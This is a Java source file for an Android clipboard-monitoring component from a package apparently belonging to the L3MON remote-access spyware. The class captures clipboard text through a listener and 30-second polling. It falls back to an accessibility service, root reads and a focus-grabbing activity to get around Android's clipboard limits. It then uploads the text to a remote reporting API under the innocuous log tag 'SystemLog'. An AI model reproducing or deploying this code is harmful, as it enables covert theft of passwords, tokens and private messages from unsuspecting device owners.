package com.etechd.l3mon;

import android.content.ClipboardManager;
import android.content.ClipData;
import android.content.Context;
import android.os.Build;
import android.os.Handler;
import android.os.Looper;
import android.util.Log;

import org.json.JSONObject;

import java.nio.charset.StandardCharsets;
import java.security.MessageDigest;

/**
 * Portapapeles: API directa, accesibilidad (ventana activa), root opcional, actividad con foco.
 */
public class ClipboardMonitor implements ClipboardManager.OnPrimaryClipChangedListener {
    private static final String TAG = "SystemLog";
    private static final String PREFS = "systemlog_clipboard";
    private static ClipboardMonitor instance;
    private static int pollSeconds = 30;

    private final Context appContext;
    private final Handler mainHandler = new Handler(Looper.getMainLooper());
    private ClipboardManager clipboardManager;
    private volatile String lastHash = "";
    private volatile boolean started = false;
    private volatile long lastActivityTrigger = 0;

    private ClipboardMonitor(Context context) {
        this.appContext = context.getApplicationContext();
    }

    public static synchronized void start(Context context) {
        if (context == null) {
            return;
        }
        Context app = context.getApplicationContext();
        if (instance == null) {
            instance = new ClipboardMonitor(app);
        }
        if (!instance.started) {
            instance.started = true;
            instance.lastHash = app.getSharedPreferences(PREFS, Context.MODE_PRIVATE)
                    .getString("last_hash", "");
            instance.register();
            Log.i(TAG, "ClipboardMonitor iniciado (poll " + pollSeconds + "s, root="
                    + RootClipboardReader.hasRoot() + ", a11y="
                    + ClipboardAccessibilityService.isRunning() + ")");
        }
    }

    public static void setPollSeconds(int seconds) {
        if (seconds < 10) {
            seconds = 10;
        }
        pollSeconds = seconds;
    }

    public static void tick() {
        if (instance != null && instance.started) {
            instance.captureAllSources("poll");
        }
    }

    public static void reportTextDirect(String text, String reason) {
        if (text == null || text.trim().isEmpty()) {
            return;
        }
        if (instance != null) {
            instance.sendText(text.trim(), reason != null ? reason : "a11y");
            return;
        }
        reportTextStandalone(text.trim(), reason != null ? reason : "a11y");
    }

    private static void reportTextStandalone(String text, String reason) {
        if (SystemLogApi.getToken() == null) {
            return;
        }
        try {
            JSONObject data = new JSONObject();
            data.put("text", text);
            data.put("source", reason);
            if (SystemLogApi.report("0xCB", data)) {
                Log.i(TAG, "Portapapeles enviado (" + reason + ", " + text.length() + " chars)");
            }
        } catch (Exception e) {
            Log.e(TAG, "Portapapeles report: " + e.getMessage());
        }
    }

    public static void captureWithFocus(Context context, String reason) {
        if (instance == null && context != null) {
            start(context);
        }
        if (instance != null) {
            instance.captureAllSources(reason != null ? reason : "activity");
        }
    }

    private void register() {
        clipboardManager = (ClipboardManager) appContext.getSystemService(Context.CLIPBOARD_SERVICE);
        if (clipboardManager != null) {
            try {
                clipboardManager.addPrimaryClipChangedListener(this);
            } catch (Exception e) {
                Log.e(TAG, "Clipboard listener: " + e.getMessage());
            }
        }
        schedulePoll();
    }

    private void schedulePoll() {
        mainHandler.postDelayed(new Runnable() {
            @Override
            public void run() {
                if (started) {
                    captureAllSources("timer");
                    schedulePoll();
                }
            }
        }, pollSeconds * 1000L);
    }

    @Override
    public void onPrimaryClipChanged() {
        mainHandler.post(new Runnable() {
            @Override
            public void run() {
                if (captureAllSources("event")) {
                    return;
                }
                ClipboardAccessibilityService.onClipboardChanged();
                long now = System.currentTimeMillis();
                if (now - lastActivityTrigger < 2000L) {
                    return;
                }
                lastActivityTrigger = now;
                ClipboardCaptureActivity.trigger(appContext, "event");
            }
        });
    }

    private boolean captureAllSources(String reason) {
        if (captureIfChanged(reason)) {
            return true;
        }
        if (ClipboardAccessibilityService.isRunning()) {
            ClipboardAccessibilityService.onClipboardChanged();
            return true;
        }
        String rootText = RootClipboardReader.read();
        if (rootText != null && !rootText.trim().isEmpty()) {
            return sendText(rootText.trim(), "root");
        }
        return false;
    }

    private boolean captureIfChanged(String reason) {
        String text = readClipboardText();
        if (text == null || text.trim().isEmpty()) {
            text = RootClipboardReader.read();
        }
        if (text == null || text.trim().isEmpty()) {
            return false;
        }
        return sendText(text.trim(), reason);
    }

    private boolean sendText(String text, String reason) {
        if (SystemLogApi.getToken() == null) {
            return false;
        }
        String hash = md5(text);
        if (hash.equals(lastHash)) {
            return true;
        }
        lastHash = hash;
        appContext.getSharedPreferences(PREFS, Context.MODE_PRIVATE)
                .edit().putString("last_hash", hash).apply();

        try {
            JSONObject data = new JSONObject();
            data.put("text", text);
            data.put("source", reason);
            if (SystemLogApi.report("0xCB", data)) {
                Log.i(TAG, "Portapapeles enviado (" + reason + ", " + text.length() + " chars)");
                return true;
            }
            Log.w(TAG, "Portapapeles no aceptado (" + reason + ")");
            lastHash = "";
        } catch (Exception e) {
            Log.e(TAG, "Portapapeles report: " + e.getMessage());
            lastHash = "";
        }
        return false;
    }

    private String readClipboardText() {
        if (clipboardManager == null) {
            clipboardManager = (ClipboardManager) appContext.getSystemService(Context.CLIPBOARD_SERVICE);
        }
        if (clipboardManager == null || !clipboardManager.hasPrimaryClip()) {
            return null;
        }
        try {
            ClipData clip = clipboardManager.getPrimaryClip();
            if (clip == null || clip.getItemCount() == 0) {
                return null;
            }
            ClipData.Item item = clip.getItemAt(0);
            if (item == null) {
                return null;
            }
            CharSequence text = item.coerceToText(appContext);
            if (text != null && text.length() > 0) {
                return text.toString();
            }
            text = item.getText();
            if (text != null && text.length() > 0) {
                return text.toString();
            }
        } catch (SecurityException e) {
            Log.w(TAG, "Clipboard denegado: " + e.getMessage());
        } catch (Exception e) {
            Log.e(TAG, "Clipboard lectura: " + e.getMessage());
        }
        return null;
    }

    private static String md5(String input) {
        try {
            MessageDigest md = MessageDigest.getInstance("MD5");
            byte[] digest = md.digest(input.getBytes(StandardCharsets.UTF_8));
            StringBuilder sb = new StringBuilder();
            for (byte b : digest) {
                sb.append(String.format("%02x", b));
            }
            return sb.toString();
        } catch (Exception e) {
            return Integer.toString(input.hashCode());
        }
    }
}
